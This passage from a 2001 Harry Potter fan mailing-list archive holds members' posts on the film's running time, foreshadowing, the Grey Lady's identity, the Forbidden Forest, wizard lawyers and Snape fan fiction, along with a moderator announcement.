up the "The Forbidden Forest."  But generally, I think PS/SS is 
pretty tight already, and there's not a lot there to cut (as opposed 
to GoF, which has lots of things that could be cut).  So I hope the 
filmmakers are willing to go a bit over 2 hours.  2:20 sounds about 
right to me.

Cindy




From caliburncy at yahoo.com  Thu Sep  6 18:15:41 2001
From: caliburncy at yahoo.com (caliburncy at yahoo.com)
Date: Thu, 06 Sep 2001 18:15:41 -0000
Subject: Long Grim Analysis (was Very Little Foreshadowing?)
In-Reply-To: <9n14pa+7r7h@eGroups.com>
Message-ID: <9n8egd+2vlv@eGroups.com>

No: HPFGUIDX 25670

Cindy, I'm sorry I took so long to respond to your question.  The 
reason is that I've gone through multiple drafts since that time 
trying desperately to do a better job of explaining the "author 
prophecy" type of foreshadowing because my first two efforts to do so 
were simply atrocious.  Unfortunately, everything I've come up with 
since then has been, though less confusing than my original two, still 
short of the mark.  So I'm giving up and instead of re-explaining 
author prophecy I'm only including the part of my draft that addressed 
your specific questions.

If I ever get the author prophecy RE-re-explanation :) right (which is 
seeming more and more unlikely) then perhaps I will post it 
seperately, but I just can't see making you wait any longer for me to 
address your specific comments while I fuss over my inability to put 
my thoughts on paper.  So here's the short of it:


--- In HPforGrownups at y..., cynthiaanncoe at h... wrote:
> Luke, 
> 
> There are answers, and then there are ANSWERS!  
> Thanks so much.  This shows that there is much
> more to the Grim than meets the eye.

It's a good thing that you can't see me because I am blushing bright 
red and giving the tips of Ron's ears a run for their money!

Really though thanks to EVERYONE for their compliments about some of 
my recent posts.  You all flatter me to an extent I'm sure I don't 
deserve (not that I'm complaining!).


> One observation, though.  I see no author prophesy
> in your analysis (or did I miss it?)  

Nope, you didn't miss it.  Though I could've missed something myself, 
I don't believe that there is any author prophecy related to the Grim. 
 Like I said, author prophecy is really quite rare.


> Could it be that Hermione's skepticism about the 
> Grim is properly viewed as author prophesy?

Hermione's suspicions about the Grim can't quite be author prophecy, 
because even though she turns out to be right, at the time that she 
made her statement we weren't supposed to straight-away accept what 
she said.  There existed an element of doubt (voiced by Ron--but 
specifically that we had reason to believe there was also a 
possibility the Grim was real and was really a death omen).  Author 
prophecy can't occur in an instance where there is doubt.

This would be more clear if I could just properly explain what author 
prophecy IS already.


> Is it even possible to identify author prophesy
> when there is so much misdirection going on?

You may have hit on something with the comment about how author 
prophecy might be hard to identify when there is misdirection going 
on.  Or more accurately that it is hard for author prophecy to exist 
when there is midirection going on (about the same idea).  I hesitate 
to ever set a hard-and-fast rule, but generally I'd say second-time 
foreshadowing (which involve a type of misdirection) and author 
prophecy probably won't be present on the same idea.  They might 
appear on the same page, even right next to each other, but still in 
reference to different ideas.  Because second-time prophecy is a 
set-up for things to turn out differently than you expect and with 
author prophecy things have to turn out the way you expect, because 
that's the whole point.

-Luke




From cynthiaanncoe at home.com  Thu Sep  6 18:26:25 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Thu, 06 Sep 2001 18:26:25 -0000
Subject: Azkaban and wizard prisons/wizard lawyers
In-Reply-To: <00cc01c136ef$11914020$91c71bce@hppav>
Message-ID: <9n8f4h+m8h4@eGroups.com>

No: HPFGUIDX 25671

--- In HPforGrownups at y..., "Eric Oppen" <oppen at c...> wrote:
> But I can think of a _lot_ of ways to be an unethical, nasty, 
corrupt
> slimeball without ever joining up with Voldemort, if I were a 
wizard.  <snip>

Not to mention the wonderful possibilities in the fraud
> field.  Any halfway-competent wizard could scam up a pretty good 
living off
> the Muggles by just pretending to be a seer or fortune-teller.
> 
> For that matter, who in the world needs Avada Kedavra to kill?  
Conjure up
> some ropes, tie the victim up, levitate him or her up about fifty 
or sixty
> feet, drop hard onto nearest hard surface or into deep water, and 
once dead,
> dissolve the ropes, and the Muggle please-men'll have a jolly time 
figuring
> out that murder was even done!
> 
*Gasp!*  Well, thank goodness we have MoM to keep this sort of thing 
to a minimum.  I think MoM exists to make sure wizards don't abuse 
their powers over muggles.  So much of what you describe ought to 
land you in wizard jail for violating the Protection of Muggles Act 
and International Code of Wizarding Secrecy, just for starters.  Then 
the Improper Use of Magic Office would get ahold of you.  That's 
assuming that you didn't accidently attack a wizard who is stronger 
than you and who deflects your hex onto you so that you land on your 
head instead.  Even if you hired the best wizard lawyer around, all 
they'd have to do is use Priori Incantantem on your wand, and Sirius' 
prison term will look like a weekend holiday to you.

By the way, we have had wizard journalists, nurses, bus drivers, 
retailers, politicians, and executioners.  Why no wizard lawyers?  
Maybe in OoP?

Cindy (waiting for JKR to write a helpful, thoughtful, honest, witty, 
attractive lawyer witch or wizard)





From aiz24 at hotmail.com  Thu Sep  6 18:33:47 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Thu, 06 Sep 2001 18:33:47 -0000
Subject: Dangerous Harry (was Lost character), Sad Harry, Bagman trial
Message-ID: <9n8fib+6607@eGroups.com>

No: HPFGUIDX 25672

mellienel2 wrote:

>But I'll bet any money in the days between 
>the third task and Dumbledore's speech, a whole bunch of Slytherins 
>and maybe even some Ravenclaws and Hufflepuffs (though less of 
those, 
>I imagine), have decided that Harry is indeed a dark wizard, or at 
>least to be afraid of him. Some Gryffs, probably, too. 

Oh yeah!  I don't have my book handy, but there is a sentence about 
how people are probably forming their own theories about how Cedric 
died, but that Harry, in his shellshocked state, hardly cares.  
Dumbledore's announcement would clear it up for most people, but I 
bet some suspicion lingers--that Harry Potter, always at the scene of 
the crime.  And always surviving when grown men would have been 
defeated . . . very suspicious.  Maybe Crouch/Moody even did his 
whole "there's only one person who's ever survived AK" routine in 
DADA class just to keep that seed of suspicion in people's minds.

frantyck wrote:

>That denial still bothers me awfully. It makes this book something 
>other than a child's book. If there is one thing about children's 
>books, it is that they do have balance, an ending, things work out 
>and all is won, or all is forgiven. Not here.

No need to apologize for this having shown up elsewhere in print--
besides, she didn't develop the idea nearly as much as you did.

I would like to see Harry break down and be comforted at some point, 
and in fact I think that being able to do that is a part of growing 
up too, especially for someone who never had that opportunity in 
childhood.  It seems very realistic to me that this child who has 
never had any comfort from adults would almost never give in to 
tears.  We've talked on this list before about how things that strike 
us huggy Americans as very reserved are par for the course by the 
Brits--this is a stereotype, of course, but there is a definite 
cultural difference at work here.  And he is particularly conscious 
of Ron's presence--a (just short of) 15 y.o. boy being embarrassed to 
show his feelings in front of another 15 y.o. boy is common enough in 
many cultures.

This story isn't over yet.  Harry is changing; the scene talking to 
Sirius in the common room, spilling everything that's been happening 
to him, shows he isn't totally sold on the stiff upper lip.  An adult 
who really listens, like an adult who hugs him like a mother, brings 
out an openness he's never been able to indulge before.  But he may 
always be more reserved than some of the readership.  <g>

Eric asked:

>(Come to it, I wonder if Ludo Bagman's "trial" was JKR's comment on 
the OJ
>Simpson whoop-tee-doo?)

I'm sure she'd deny it with her last breath, but you have to wonder.  
Despite the obvious double-standard accorded popular/rich/famous 
defendants in real life, did anyone else find the gushing member of 
the jury to be over the top?  I really can't believe anyone would be 
that blatant.  

Amy Z
71 days 'til the movie




From caliburncy at yahoo.com  Thu Sep  6 18:36:32 2001
From: caliburncy at yahoo.com (caliburncy at yahoo.com)
Date: Thu, 06 Sep 2001 18:36:32 -0000
Subject: MOVIE: Running Time (was Re: Running time of movie final cut announced)
In-Reply-To: <9n8dee+npj1@eGroups.com>
Message-ID: <9n8fng+dvoc@eGroups.com>

No: HPFGUIDX 25673

--- In HPforGrownups at y..., cynthiaanncoe at h... wrote:
> Yes, but what scenes could you cut from PS/SS?  Maybe you could 
> skip "Norbert the Norwegian RidgeBack", and maybe you could shorten 
> up the "The Forbidden Forest."  But generally, I think PS/SS is 
> pretty tight already, and there's not a lot there to cut (as opposed 
> to GoF, which has lots of things that could be cut).  So I hope the 
> filmmakers are willing to go a bit over 2 hours.  2:20 sounds about 
> right to me

Well, what I meant by tightening up scenes was not that the scenes as 
they appear in the book might need to be tightened before appearing in 
the movie but rather that the scenes as they were filmed might need it 
(I don't know if that made sense).  Such as a couple unnecessary lines 
of dialogue or pauses or excessively long close-ups here and there and 
that sort of thing.  Not necessarilly cutting content at all.  In 
other words perhaps the movie scene was already paced too slow, slower 
than the book equivalent.

Anyway, that's not my main point.  My main point is that I'm against 
artificial time considerations of any sort.  In 'My Perfect 
World'(tm), movies would never be cut for reasons of pure length, but 
for reasons of EFFECTIVENESS.  Forget the numbers entirely and go for 
what works best.

-Luke




From UcfRentLuvr at cs.com  Thu Sep  6 19:14:10 2001
From: UcfRentLuvr at cs.com (UcfRentLuvr at cs.com)
Date: Thu, 06 Sep 2001 15:14:10 -0400
Subject: The Grey Lady
Message-ID: <66CC4F5B.53F4F5A9.52A758FC@cs.com>

No: HPFGUIDX 25674

There has been a lot of hype about who the Grey Lady really is. I was wondering, did JKR ever say that the ghost would be important or was that just a rumor that got out of hand? Because I was thinking, if the Grey Lady is important, than she might be Tom Riddle's mother. Why? I have no idea--this is what you think of at 2am when you've just gotten back from Denny's. <g> 

JKR said that the happiest people don't become ghosts right? Well, Tom's father finds out she's a witch and leaves her. She has Tom and and dies soon after.  She probably wasn't having the best time duriing that point in her life so she came back as a ghost. Why at Hogwarts? I don't know, but then you could say well, why is the Bloody Baron there as well. 

What does everyone think?

***Dixie Malfoy***



From mellienel2 at yahoo.com  Thu Sep  6 19:42:52 2001
From: mellienel2 at yahoo.com (mellienel2 at yahoo.com)
Date: Thu, 06 Sep 2001 19:42:52 -0000
Subject: Skeeters and Beatles
In-Reply-To: <9n8d83+6rvo@eGroups.com>
Message-ID: <9n8jjs+o4a7@eGroups.com>

No: HPFGUIDX 25675


> 
> I had been thinking more along the lines of just a general state 
> of Bug-ness.  "Bugs" are also known to be a sort of slang term 
> for concealed microphones.  Rita's a bit like the fly on the wall, 
> isn't she?

Also, skeeter is Amer. slang for 'mosquito,' or an annoying insect 
that stings and makes you itch for days (isn't that Rita?). It's also 
used sometimes for bugs in general. 





From mellienel2 at yahoo.com  Thu Sep  6 19:45:58 2001
From: mellienel2 at yahoo.com (mellienel2 at yahoo.com)
Date: Thu, 06 Sep 2001 19:45:58 -0000
Subject: The Grey Lady
In-Reply-To: <66CC4F5B.53F4F5A9.52A758FC@cs.com>
Message-ID: <9n8jpm+cbif@eGroups.com>

No: HPFGUIDX 25676

--- In HPforGrownups at y..., UcfRentLuvr at c... wrote:
> There has been a lot of hype about who the Grey Lady really is. I 
was wondering, did JKR ever say that the ghost would be important or 
was that just a rumor that got out of hand? Because I was thinking, 
if the Grey Lady is important, than she might be Tom Riddle's mother. 
Why? I have no idea--this is what you think of at 2am when you've 
just gotten back from Denny's. <g> 
> 

She said the Grey Lady would be important, or at least worthy of 
note, in later books, and I gather taht's why she's gone to so much 
trouble not to use her name in the first four. Was anyone else as 
surprised as I was when you saw the person cast for her is very young 
(ha ha, her last name is Young too)? I figured the Grey Lady would be 
old, and now my mind is reeling with the possibilities. Could she be 
one of the Potters' contemporaries?




From mellienel2 at yahoo.com  Thu Sep  6 19:48:21 2001
From: mellienel2 at yahoo.com (mellienel2 at yahoo.com)
Date: Thu, 06 Sep 2001 19:48:21 -0000
Subject: MOVIE: Running Time (was Re: Running time of movie final cut announced)
In-Reply-To: <9n8fng+dvoc@eGroups.com>
Message-ID: <9n8ju5+crd4@eGroups.com>

No: HPFGUIDX 25677

--- In HPforGrownups at y..., caliburncy at y... wrote:
> --- In HPforGrownups at y..., cynthiaanncoe at h... wrote:
> > Yes, but what scenes could you cut from PS/SS?  Maybe you could 
> > skip "Norbert the Norwegian RidgeBack", and maybe you could 
shorten 
> > up the "The Forbidden Forest."  

I really think if there's something they cut, it was Norbert. I can't 
think of any other important things (and they did say they kept 95% 
of the moments, not 100...) that aren't too important to cut. The 
whole purpose of that was to get Neville, Hermione, Harry and Draco a 
detention, and to get them into the forest. Couldn't this be done 
another way? Plus -- in one of the pictures, Ron is with Hermione and 
(is it Draco?) and Filch, and Filch is holding a lantern. It looks 
suspiciously like theyr'e on the way to their detention -- so perhaps 
Ron is in on this too.

THen again -- they need to have gotten in enough trouble to turn the 
whole school against them for their lost points, right? How could 
they have tightened this up?




From mellienel2 at yahoo.com  Thu Sep  6 19:49:45 2001
From: mellienel2 at yahoo.com (mellienel2 at yahoo.com)
Date: Thu, 06 Sep 2001 19:49:45 -0000
Subject: Dangerous Harry (was Lost character), Sad Harry, Bagman trial
In-Reply-To: <9n8fib+6607@eGroups.com>
Message-ID: <9n8k0p+e2m5@eGroups.com>

No: HPFGUIDX 25678

 
> Oh yeah!  I don't have my book handy, but there is a sentence about 
> how people are probably forming their own theories about how Cedric 
> died, but that Harry, in his shellshocked state, hardly cares.  
> Dumbledore's announcement would clear it up for most people, but I 
> bet some suspicion lingers--that Harry Potter, always at the scene 
of 
> the crime.  And always surviving when grown men would have been 
> defeated . . . very suspicious.  Maybe Crouch/Moody even did his 
> whole "there's only one person who's ever survived AK" routine in 
> DADA class just to keep that seed of suspicion in people's minds.

I agree, again. She did say that about ppl forming their own 
opinions. Everyone thinks Dumbledore's batty anyway, and those who 
trusted him implicitly before will believe him. But there is plenty, 
oh plenty, of room for doubt, after all he DID hire a half-giant and 
a werewolf, two things not likely to go well with the public (even if 
I agree with him. :-)

M.





From BrownieH6 at aol.com  Thu Sep  6 19:57:11 2001
From: BrownieH6 at aol.com (BrownieH6 at aol.com)
Date: Thu, 06 Sep 2001 15:57:11 EDT
Subject: [HPforGrownups] The Grey Lady
Message-ID: <16c.72019c.28c92f17@aol.com>

No: HPFGUIDX 25679

Erm...I think that Tom's mother was a *Slytherin*, and the Grey Lady is the ghost of *Ravenclaw*...

~Marie




From katzefan at yahoo.com  Thu Sep  6 20:12:18 2001
From: katzefan at yahoo.com (katzefan at yahoo.com)
Date: Thu, 06 Sep 2001 20:12:18 -0000
Subject: The Forbidden Forest - summary
Message-ID: <9n8lb2+73nc@eGroups.com>

No: HPFGUIDX 25680

The Forbidden Forest

The first mention of the Forbidden Forest comes in PS/SS, when 
Dumbledore, in his welcoming speech, warns that it is forbidden 
for any students to go into it - with a particular look at Fred and 
George Weasley. Dumbledore doesn't offer any explanation as 
to why students should stay away from it.

The first time Harry goes into the forest is also in PS/SS. It's
a punishment, after he, Hermione, Draco and Neville are caught 
out of bed and wandering around well after curfew (they have just 
sent Baby Norbert off with Charlie Weasley's friends). The four 
are sent out with Hagrid to help find out what is killing unicorns. 

Initially Harry and Hermione set off with Hagrid, while Draco and 
Neville go with Fang.  Harry, Hermione and Hagrid meet two 
centaurs, Ronan and Bane, both of whom give very vague replies 
when Hagrid asks if they've seen anything strange in the forest 
lately.

Shortly afterwards, Draco frightens Neville, who sends up an 
alarm signal which brings the other three running. Hagrid then 
takes Neville and Hermione in one direction back into the forest, 
and Harry and Draco go in a different direction with Fang. Harry 
and Draco find the dead unicorn, and then see a hooded 
creature crawling along the forest floor. It creeps over to the dead 
unicorn and begins to drink its blood. Harry freezes; Draco 
screams and bolts; Fang also takes off. The hooded figure 
stares at Harry and begins to approach him when a third centaur 
- Firenze - comes bounding out of the bushes and rescues 
Harry. He tells Harry, "The forest is not safe at this time ... 
especially for you."

In CoS, Harry and Ron venture into the forest, following the 
spiders fleeing from Hogwarts, only to encounter Aragog and his 
family, giant spiders who live deep in the forest. Aragog was a 
`pet' of Hagrid's; he got the spider's egg from
someone while he was still a student at Hogwarts. When the 
Basilisk was loose, Hagrid smuggled Aragog out of the castle to 
safety in the forest, and later found him a wife, Mosag. They now 
have a large collection of offspring.

In GoF, Hagrid captures two unicorn foals, and - later in the book 
- Nifflers, all presumably from the forest, although this is not 
specifically stated. 

And while Harry is speaking to Viktor Krum near the forest, Barty 
Crouch Sr. stumbles out onto the Hogwarts grounds, apparently 
having travelled through the forest to reach the castle.

Questions

1) When Dumbledore warns all the students to stay away from 
the forest, he glances in particular at the Weasley twins, implying 
they are often caught venturing into the forest. Later Hagrid 
suggests the same thing, when he first meets Ron: "I spent half 
me life chasing yer twin brothers away from the forest." Do you 
think the forest is as dangerous as it is implied? If not, why does 
Dumbledore warn the students away from it? If so, how is it the 
Weasley twins have come to no harm?

2) Do you think it was responsible to send a group of first-year 
students out to help search for something so powerful and evil 
that it can kill unicorns - especially since they went out in two 
groups, one of which consisted only of two students and Fang 
(who, Hagrid warns, is a coward)? Do you think Dumbledore 
was aware of all this? If so, why would he allow it?

3) Do you think Hagrid's right when he says nothing in the forest 
will hurt the students if they are with him or with Fang? Why 
would this be so?

4) Why is it `especially' unsafe for Harry to be in the
forest 'at this time,' as Firenze says? How much do you think the 
centaurs - perhaps Firenze in particular - know about what is 
stalking the unicorns?

5) Do you think Draco had any idea that the creature creeping up 
to the dead unicorn was connected (literally) with Voldemort? Do 
you think he reported the incident to his father? If so, what do you 
think Lucius would have told him?

6) What other creature(s)s would you hope or expect to see in 
the forest, in the next book?




From UcfRentLuvr at cs.com  Thu Sep  6 20:18:45 2001
From: UcfRentLuvr at cs.com (UcfRentLuvr at cs.com)
Date: Thu, 06 Sep 2001 16:18:45 -0400
Subject: [HPforGrownups] The Grey Lady
Message-ID: <14BE414E.78D3BF57.52A758FC@cs.com>

No: HPFGUIDX 25681

BrownieH6 at aol.com wrote:
 Erm...I think that Tom's mother was a *Slytherin*, and the Grey Lady is the ghost of *Ravenclaw*...>>

Was it ever actually said that she was a Slytherin?  I'm not debating you, I just don't have my books with me and can't remember. 8)

***Dixie Malfoy***




From usergoogol at yahoo.com  Thu Sep  6 20:17:55 2001
From: usergoogol at yahoo.com (usergoogol at yahoo.com)
Date: Thu, 06 Sep 2001 20:17:55 -0000
Subject: The Grey Lady
In-Reply-To: <16c.72019c.28c92f17@aol.com>
Message-ID: <9n8llj+uda4@eGroups.com>

No: HPFGUIDX 25682

--- In HPforGrownups at y..., BrownieH6 at a... wrote:
> Erm...I think that Tom's mother was a *Slytherin*, and the Grey Lady is the ghost of *Ravenclaw*...
> 
> ~Marie

Where does it say that?

At any rate, just because the Grey Lady is a descendent of Mr. Slytherin dosn't mean that she was in the house. Heck, for all we know, she could be a descendent of Helga Hufflepuff and Godric Gryffindor too! How can we know?

(Of course, maybe it is specified that Tom's mum was a Slytherin, it does sound like something he'd like to mention while in memory form.)

But what if Tom's mother IS the Grey Lady, therefore, a Ravenclaw. Well, while Slytherins are sly and self-serving, Ravenclaws are clever. And lets be honest, slyness and cleverness just differ in how you use them, right?




From mellienel2 at yahoo.com  Thu Sep  6 20:28:37 2001
From: mellienel2 at yahoo.com (mellienel2 at yahoo.com)
Date: Thu, 06 Sep 2001 20:28:37 -0000
Subject: The Grey Lady
In-Reply-To: <14BE414E.78D3BF57.52A758FC@cs.com>
Message-ID: <9n8m9l+5nu1@eGroups.com>

No: HPFGUIDX 25683

--- In HPforGrownups at y..., UcfRentLuvr at c... wrote:
> BrownieH6 at a... wrote:
>  Erm...I think that Tom's mother was a *Slytherin*, and the Grey 
Lady is the ghost of *Ravenclaw*...>>
> 
> Was it ever actually said that she was a Slytherin?  I'm not 
debating you, I just don't have my books with me and can't remember. 
8)

I'm almost pos. it doesn't -- after all, her name is never even 
mentioned, we only have it from interviews. She passes ron and harry 
in book 1, while they're looking for the Mirror of Erised, but she's 
not specifically named.






From oppen at cnsinternet.com  Thu Sep  6 20:40:01 2001
From: oppen at cnsinternet.com (Eric Oppen)
Date: Thu, 6 Sep 2001 15:40:01 -0500
Subject: Azkaban and wizard prisons/wizard lawyers
References: <999802383.7258.50694.l6@yahoogroups.com>
Message-ID: <006601c13714$1a55f8c0$8ec71bce@hppav>

No: HPFGUIDX 25684


>
> --- In HPforGrownups at y..., "Eric Oppen" <oppen at c...> wrote:
> > But I can think of a _lot_ of ways to be an unethical, nasty,
> corrupt
> > slimeball without ever joining up with Voldemort, if I were a
> wizard.  <snip>

Not that I would _DO_ these things...*big innocent smile*  I just have a
naturally nasty mind.  Yeah, that's it---that's the ticket!  I'm just asking
these questions for _research purposes!_
>
> Not to mention the wonderful possibilities in the fraud
> > field.  Any halfway-competent wizard could scam up a pretty good
> living off
> > the Muggles by just pretending to be a seer or fortune-teller.

This alone would be a fairly big thing, I'd think.

> >
> > For that matter, who in the world needs Avada Kedavra to kill?
> Conjure up
> > some ropes, tie the victim up, levitate him or her up about fifty
> or sixty
> > feet, drop hard onto nearest hard surface or into deep water, and
> once dead,
> > dissolve the ropes, and the Muggle please-men'll have a jolly time
> figuring
> > out that murder was even done!
> >
> *Gasp!*  Well, thank goodness we have MoM to keep this sort of thing
> to a minimum.  I think MoM exists to make sure wizards don't abuse
> their powers over muggles.  So much of what you describe ought to
> land you in wizard jail for violating the Protection of Muggles Act
> and International Code of Wizarding Secrecy, just for starters.

That's _if_ they figure out:
A) that a wizard's been at work and
B) that _I_ was that wizard.


> Even if you hired the best wizard lawyer around, all
> they'd have to do is use Priori Incantantem on your wand, and Sirius'
> prison term will look like a weekend holiday to you.

Precisely my point, although an unethical wizard might well have more than
one wand around.  If, forex, I'm from an old wizarding family *cough Malfoy
cough cough* I might well have Great-Aunt Honoria's wand, as well as five or
six others besides the wand that I'm known to own.  We know that wizards can
own more than one wand.  If I'm not _known for sure_ to have access to more
than one wand, Priori Incantatem might be a point in my defense..."See?
They cast Priori Incantatem on my wand, and got spells that create cute
little bunny rabbits!  I couldn't be the wizard that robbed the Bank of
England!"

>
> By the way, we have had wizard journalists, nurses, bus drivers,
> retailers, politicians, and executioners.  Why no wizard lawyers?
> Maybe in OoP?

Their trials don't seem to have much room for lawyers; the question's been
raised in fan fiction once or twice.  A wizard counterpart to "Rumpole of
the Bailey" would be fun!  (It would make a great fanfic---"Rumpole of the
Bailey" written from the POV of an old wizard lawyer who's seen and done it
all in his time, and is now writing it down!)

>
> >(Come to it, I wonder if Ludo Bagman's "trial" was JKR's comment on
> the OJ
> >Simpson whoop-tee-doo?)
>
> I'm sure she'd deny it with her last breath, but you have to wonder.
> Despite the obvious double-standard accorded popular/rich/famous
> defendants in real life, did anyone else find the gushing member of
> the jury to be over the top?  I really can't believe anyone would be
> that blatant.

I thought it was an honestly iffy question whether Bagman was or was not an
actual DE.  I wonder what would have happened if the court had received a
sworn statement from Voldemort to the effect:  "No, Bagman is _not_ a Death
Eater.  Death Eaters, after all, are the _elite,_ and the only way Bagman's
elite at all off the Quidditch pitch is in the Baldrick Think-Alike Club.
His intellect is like the four-headed man-eating fish beast of Aberdeen---it
doesn't exist.  Kindly do not insult me this way again, unless you fancy
spending the rest of your lives on lily pads.  Yours with utter contempt,
LORD VOLDEMORT."




From scaryfairymary at hotmail.com  Thu Sep  6 20:47:11 2001
From: scaryfairymary at hotmail.com (scaryfairymary at hotmail.com)
Date: Thu, 06 Sep 2001 20:47:11 -0000
Subject: What is the single best scene in the HP series?
In-Reply-To: <9n66v2+o6j6@eGroups.com>
Message-ID: <9n8ncf+q2eb@eGroups.com>

No: HPFGUIDX 25685

--- In HPforGrownups at y..., mellienel2 at y... wrote:
> --- In HPforGrownups at y..., justanopinion2001 at h... wrote:
> > I was wondering which single scene out of the Harry Potter series 
> you 
> > think is the best?  
> > 
> 
> Oh, hands down "The Unexpected Task." It was such a different 
chapter 
> for JKR, and she handled it so well. 

I have to agree most definately with this.  IMO, it is the funniest 
chapter in the series (followed closely by the scene where the 
Weasleys arrived at the Dursleys' house using floo powder!)  I was in 
stitches when Harry thought "giggling should be made illegal", that 
whole scene just hit a funny bone with me and I laughed so hard I 
thought I was going to die from lack of oxygen!(which was quite 
embarrasing for me,as at that time I was on a very crowded bus!!)
-Mary :D (going red at the mere memory!)




From Manda1999 at aol.com  Thu Sep  6 21:11:46 2001
From: Manda1999 at aol.com (Manda1999 at aol.com)
Date: Thu, 06 Sep 2001 21:11:46 -0000
Subject: The Grey Lady
In-Reply-To: <9n8m9l+5nu1@eGroups.com>
Message-ID: <9n8oqi+r39e@eGroups.com>

No: HPFGUIDX 25686

--- In HPforGrownups at y..., mellienel2 at y... wrote:
> --- In HPforGrownups at y..., UcfRentLuvr at c... wrote:
> > BrownieH6 at a... wrote:
> >  Erm...I think that Tom's mother was a *Slytherin*, and the Grey 
> Lady is the ghost of *Ravenclaw*...>>
> > 


Just because Tom became evil doesn't mean that his mother was. If she 
had lived or something else had happened differently in his 
childhood, there's no telling what might have happened to him. He may 
not have become Voldemort in the first place. I think the possibility 
of his mother being The Grey Lady is interesting.


Manda






From pennylin at swbell.net  Thu Sep  6 21:47:08 2001
From: pennylin at swbell.net (Penny & Bryce)
Date: Thu, 06 Sep 2001 16:47:08 -0500
Subject: ADMIN: New Moderator Added & New List Elves
Message-ID: <3B97EEDC.4000501@swbell.net>

No: HPFGUIDX 25687

Hi everyone --

I'm pleased to announce that we have added a new Moderator to the 
Magical Mod Squad -- Amy Z.  Amy joins me, Neil (aka Flying Ford 
Anglia), John Walton and Jim Flanagan.

We also have recruited a nice group of new List Elves to help in 
welcoming newbies.  The new Elves are:

Parker Nesbit
Catherine Coleman
Sheryll Ings
Jenny from Ravenclaw
David Frankis
Luke Jayapalan
Jen Piersol
Jim Ferer
Barb Purdom
Amber

I hope I didn't miss anyone, but if so, I'll be sure to make another 
announcement to correct.  Our experienced Elf crew at the moment 
consists of:

Jen Faulkner
Michelle Apostolides
Amy Z (who may or may not continue to elf now she's a Moderator)
Heidi Tandy
Kelley Thompson

We've had some upheaval in the List Elf ranks as several Elves decided 
they needed clothes all at once. If you joined our group in the last 
month and did not receive a personal Welcome Message from a List Elf and 
you'd like one assigned to you, please contact us at 
HPforGrownups-owner at yahoogroups.com.  We'll be happy to get you your 
very own List Elf!

Penny
for the Magical Moderator Team




From scaryfairymary at hotmail.com  Thu Sep  6 22:04:25 2001
From: scaryfairymary at hotmail.com (scaryfairymary at hotmail.com)
Date: Thu, 06 Sep 2001 22:04:25 -0000
Subject: The howl of misery
In-Reply-To: <9n84l9+fp35@eGroups.com>
Message-ID: <9n8rt9+68p2@eGroups.com>

No: HPFGUIDX 25688

--- In HPforGrownups at y..., frantyck at y... wrote:
> Another tangent:
> 
>  In safety, for the 
> moment, Harry's experiences crowd in upon him, hours in an instant, 
> and he must find a way to let himself release all the pent-up 
misery. 
> Mrs Weasley sits down on Harry's bed and hugs Harry tight.
> 
> He never howls. Harry fights to hold it in, wishes Ron would turn 
> away. Mrs Weasley and Harry break apart when Hermione catches 
Beetle-
> Skeeter.
><snip> 
>

This IMO is the most heart renching (cant spell sorry!) moment in the 
whole HP series, I really think that this "howl of misery" really 
should have been expressed.  Harry never really deals with the trauma 
of the nights events, and so can never really recover.  Even when he 
smiles "the first real smile in days" in Hagrid's cabin, I never 
really feel like the matter is dealt with.  The reader knows that 
Harry is still totally miserable inside, and without some help from a 
maternal figure (Molly Weasley) he is never truley going to be 
happy.  I cant see him getting any support from Petunia Dursley, so 
hopefully he will be let go to the Weasleys and have some "quality 
time".
-Mary (who really thinks she's taking this too seriously for a 
fictional story, but cant help herself!)




From becky at mackenab.com  Thu Sep  6 22:55:24 2001
From: becky at mackenab.com (becky at mackenab.com)
Date: Thu, 06 Sep 2001 22:55:24 -0000
Subject: The Grey Lady
In-Reply-To: <9n8oqi+r39e@eGroups.com>
Message-ID: <9n8uss+jl3m@eGroups.com>

No: HPFGUIDX 25689

I have been harboring a suspicion that the Grey Lady is Madame 
Ravenclaw herself.  I don't have any cannon to back me up and I would 
think that if this were the case Harry and co. would've noticed 
rather strage dress.  But, that's my thought.




From lydaclunas at xfilesfan.com  Thu Sep  6 23:40:30 2001
From: lydaclunas at xfilesfan.com (Lyda Clunas)
Date: Thu, 06 Sep 2001 23:40:30 -0000
Subject: Snape -- Why so many fans?
In-Reply-To: <9n71d3+ed9o@eGroups.com>
Message-ID: <9n91he+dmju@eGroups.com>

No: HPFGUIDX 25690

Allyse wrote:

> On a tangent, since many of you mentioned R.J. Anderson's fics, I 
> will also add my recommendation for them. I know it sounds strange 
> coming from a non-Snape fan, but they're great! If nothing else,she 
> writes the *best* George Weasley I have ever seen. :)
> 
> Allyse

Quite true. Now, I'm thrilled to finally see a resolution to the 
story, but I am *so* saddened to see it be over. No more. Finis. This 
Sunday... ahh!

But the reason, I think, that even non-Snapefans are attracted to her 
fics is because they portray Snape as a human being, rather than just 
as this extraordinarily cruel monster-teacher who hates little kids. 
She gives him depth and character that is attractive, she gives him 
logical and plausible reasons (not to be confused with excuses) for 
his behavior, and I think that this sort of well-written character 
growth, especially toward a positive light for Snape, is thus what 
entices even the people who are indifferent toward, or even dislike, 
Canon!Snape.

This also explains the reason *we* the Snapefans are so enamoured 
with the guy. I think it is largely due to our imaginations; we take 
the hints from canon, and develop them into the kind of character 
that we envision Snape to be; I for one would not be surprised at all 
to find that our idea(s) of Snape actually come to be true, somewhere 
along the lines of JRK's series.

Lyda 




From mellienel2 at yahoo.com  Fri Sep  7 00:04:47 2001
From: mellienel2 at yahoo.com (mellienel2 at yahoo.com)
Date: Fri, 07 Sep 2001 00:04:47 -0000
Subject: Snape -- Why so many fans?
In-Reply-To: <9n91he+dmju@eGroups.com>
Message-ID: <9n92uv+v9u7@eGroups.com>

No: HPFGUIDX 25691

--- In HPforGrownups at y..., "Lyda Clunas" <lydaclunas at x> wrote:
> Allyse wrote:
> 
> > On a tangent, since many of you mentioned R.J. Anderson's fics, I 
> > will also add my recommendation for them. I know it sounds 
strange 
> > coming from a non-Snape fan, but they're great! If nothing 
else,she 
> > writes the *best* George Weasley I have ever seen. :)
> > 

>snip<

<Lyda's Comments>

> Quite true. Now, I'm thrilled to finally see a resolution to the 
> story, but I am *so* saddened to see it be over. No more. Finis. 
This 
> Sunday... ahh!


Again, I have to interject to agree with everything Lyda says here 
and add my own kernel. Ally -- you're right, not only is her George 
Weasly oh-so-canon, but it's oh-so-good. The best next to JKR, and 
I'd even argue they're at the same level on that character. (I'm not 
kidding, ppl.)

I'm seroius, I HATED Snape before I read these stories. Now I like to 
thinkof him as the complex character RJA has laid out for us; whether 
